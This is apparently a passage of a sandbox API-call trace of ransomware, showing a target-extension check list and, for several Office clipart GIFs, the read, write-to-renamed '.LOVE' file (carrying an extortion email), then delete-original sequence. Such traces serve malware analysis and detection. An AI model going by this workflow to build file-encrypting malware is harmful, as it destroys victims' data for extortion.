[0206.041] lstrlenW (lpString=".bz2") returned 4 [0206.041] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.041] lstrlenW (lpString=".7z") returned 3 [0206.041] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.041] lstrlenW (lpString=".dbf") returned 4 [0206.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.041] lstrlenW (lpString=".1cd") returned 4 [0206.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.041] lstrlenW (lpString=".jpg") returned 4 [0206.041] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.041] lstrlenW (lpString=".doc") returned 4 [0206.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.041] lstrlenW (lpString=".docx") returned 5 [0206.041] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0206.041] lstrlenW (lpString=".pdf") returned 4 [0206.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.041] lstrlenW (lpString=".xls") returned 4 [0206.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.041] lstrlenW (lpString=".xlsx") returned 5 [0206.041] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0206.041] lstrlenW (lpString=".ppt") returned 4 [0206.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.042] lstrlenW (lpString=".zip") returned 4 [0206.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.042] lstrlenW (lpString=".rar") returned 4 [0206.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.042] lstrlenW (lpString=".bz2") returned 4 [0206.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.042] lstrlenW (lpString=".7z") returned 3 [0206.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.042] lstrlenW (lpString=".dbf") returned 4 [0206.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.042] lstrlenW (lpString=".1cd") returned 4 [0206.042] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0206.042] lstrlenW (lpString=".jpg") returned 4 [0206.042] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.042] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.042] lstrlenW (lpString="AG00021_.GIF") returned 12 [0206.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.042] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=14873) returned 1 [0206.043] CloseHandle (hObject=0x33c) returned 1 [0206.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0206.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.043] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.043] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.043] GetLastError () returned 0x0 [0206.043] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x3a19, lpOverlapped=0x0) returned 1 [0206.098] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0206.099] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.099] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.099] SetEndOfFile (hFile=0x31c) returned 1 [0206.099] CloseHandle (hObject=0x31c) returned 1 [0206.100] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.100] SetEndOfFile (hFile=0x33c) returned 1 [0206.100] CloseHandle (hObject=0x33c) returned 1 [0206.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0206.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.101] lstrlenW (lpString=".doc") returned 4 [0206.101] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.101] lstrlenW (lpString=".docx") returned 5 [0206.101] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.101] lstrlenW (lpString=".pdf") returned 4 [0206.101] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.101] lstrlenW (lpString=".xls") returned 4 [0206.101] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.101] lstrlenW (lpString=".xlsx") returned 5 [0206.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.101] lstrlenW (lpString=".ppt") returned 4 [0206.101] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.101] lstrlenW (lpString=".zip") returned 4 [0206.101] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.101] lstrlenW (lpString=".rar") returned 4 [0206.101] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.101] lstrlenW (lpString=".bz2") returned 4 [0206.102] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.102] lstrlenW (lpString=".7z") returned 3 [0206.102] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.102] lstrlenW (lpString=".dbf") returned 4 [0206.102] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.102] lstrlenW (lpString=".1cd") returned 4 [0206.102] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.102] lstrlenW (lpString=".jpg") returned 4 [0206.102] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.102] lstrlenW (lpString=".doc") returned 4 [0206.102] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.102] lstrlenW (lpString=".docx") returned 5 [0206.102] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.102] lstrlenW (lpString=".pdf") returned 4 [0206.102] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.102] lstrlenW (lpString=".xls") returned 4 [0206.102] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.102] lstrlenW (lpString=".xlsx") returned 5 [0206.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.102] lstrlenW (lpString=".ppt") returned 4 [0206.102] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.102] lstrlenW (lpString=".zip") returned 4 [0206.102] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.102] lstrlenW (lpString=".rar") returned 4 [0206.102] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.102] lstrlenW (lpString=".bz2") returned 4 [0206.103] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.103] lstrlenW (lpString=".7z") returned 3 [0206.103] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.103] lstrlenW (lpString=".dbf") returned 4 [0206.103] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.103] lstrlenW (lpString=".1cd") returned 4 [0206.103] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0206.103] lstrlenW (lpString=".jpg") returned 4 [0206.103] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.103] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.103] lstrlenW (lpString="AG00040_.GIF") returned 12 [0206.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.103] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=8097) returned 1 [0206.103] CloseHandle (hObject=0x33c) returned 1 [0206.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0206.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.104] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.104] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.104] GetLastError () returned 0x0 [0206.104] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0206.174] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0206.175] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.175] WriteFile (in: hFile=0x31c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.175] SetEndOfFile (hFile=0x31c) returned 1 [0206.175] CloseHandle (hObject=0x31c) returned 1 [0206.176] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.176] SetEndOfFile (hFile=0x33c) returned 1 [0206.177] CloseHandle (hObject=0x33c) returned 1 [0206.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0206.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.178] lstrlenW (lpString=".doc") returned 4 [0206.178] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.178] lstrlenW (lpString=".docx") returned 5 [0206.178] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.178] lstrlenW (lpString=".pdf") returned 4 [0206.178] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.178] lstrlenW (lpString=".xls") returned 4 [0206.178] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.178] lstrlenW (lpString=".xlsx") returned 5 [0206.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.178] lstrlenW (lpString=".ppt") returned 4 [0206.178] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.178] lstrlenW (lpString=".zip") returned 4 [0206.178] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.178] lstrlenW (lpString=".rar") returned 4 [0206.178] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.178] lstrlenW (lpString=".bz2") returned 4 [0206.178] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.178] lstrlenW (lpString=".7z") returned 3 [0206.178] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.178] lstrlenW (lpString=".dbf") returned 4 [0206.178] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.178] lstrlenW (lpString=".1cd") returned 4 [0206.178] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.178] lstrlenW (lpString=".jpg") returned 4 [0206.179] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.179] lstrlenW (lpString=".doc") returned 4 [0206.179] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.179] lstrlenW (lpString=".docx") returned 5 [0206.179] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.179] lstrlenW (lpString=".pdf") returned 4 [0206.179] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.179] lstrlenW (lpString=".xls") returned 4 [0206.179] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.179] lstrlenW (lpString=".xlsx") returned 5 [0206.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.179] lstrlenW (lpString=".ppt") returned 4 [0206.179] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.179] lstrlenW (lpString=".zip") returned 4 [0206.179] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.179] lstrlenW (lpString=".rar") returned 4 [0206.179] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.179] lstrlenW (lpString=".bz2") returned 4 [0206.179] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.179] lstrlenW (lpString=".7z") returned 3 [0206.179] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.179] lstrlenW (lpString=".dbf") returned 4 [0206.179] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.179] lstrlenW (lpString=".1cd") returned 4 [0206.179] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0206.179] lstrlenW (lpString=".jpg") returned 4 [0206.179] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.180] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.180] lstrlenW (lpString="AG00057_.GIF") returned 12 [0206.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.181] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=11891) returned 1 [0206.181] CloseHandle (hObject=0x31c) returned 1 [0206.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0206.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.182] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.182] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.182] GetLastError () returned 0x0 [0206.182] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2e73, lpOverlapped=0x0) returned 1 [0206.224] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0206.225] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.225] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.225] SetEndOfFile (hFile=0x2f0) returned 1 [0206.229] CloseHandle (hObject=0x2f0) returned 1 [0206.230] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.230] SetEndOfFile (hFile=0x2d8) returned 1 [0206.235] CloseHandle (hObject=0x2d8) returned 1 [0206.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0206.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.236] lstrlenW (lpString=".doc") returned 4 [0206.236] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.236] lstrlenW (lpString=".docx") returned 5 [0206.236] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.236] lstrlenW (lpString=".pdf") returned 4 [0206.236] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.236] lstrlenW (lpString=".xls") returned 4 [0206.236] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.236] lstrlenW (lpString=".xlsx") returned 5 [0206.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.236] lstrlenW (lpString=".ppt") returned 4 [0206.236] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0206.236] lstrlenW (lpString=".zip") returned 4 [0206.236] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.236] lstrlenW (lpString=".rar") returned 4 [0206.236] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.236] lstrlenW 